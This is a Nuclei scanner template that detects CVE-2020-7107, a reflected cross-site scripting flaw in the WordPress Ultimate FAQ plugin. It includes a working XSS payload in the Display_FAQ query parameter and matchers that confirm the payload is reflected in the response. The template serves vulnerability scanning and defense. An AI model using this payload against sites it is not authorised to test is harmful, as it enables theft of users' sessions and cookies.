nuclei-templates/http/cves/2020/CVE-2020-7107.yaml

56 lines
2.3 KiB
YAML

id: CVE-2020-7107
info:
name: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
remediation: Fixed in version 1.8.30.
reference:
- https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33
- https://wordpress.org/plugins/ultimate-faqs/
- https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php
- https://nvd.nist.gov/vuln/detail/CVE-2020-7107
- https://wordpress.org/plugins/ultimate-faqs/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-7107
cwe-id: CWE-79
epss-score: 0.00395
epss-percentile: 0.70653
cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: etoilewebdesign
product: ultimate_faq
framework: wordpress
tags: cve,cve2020,ultimate-faqs,wpscan,xss,wordpress,wp-plugin,wp,etoilewebdesign
http:
- method: GET
path:
- "{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'</script><svg/onload=alert(document.cookie)>"
- "var Display_FAQ_ID ="
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a004730450221008b21b17a2daaf653331684616f6c6a088a018692f6f13ac6fce9ae0dcb9f40470220248b0839e25b4c04e015431c22ce67a757b2aba53b4e7b9726732846cb6cecb6:922c64590222798bb761d5b6d8e72950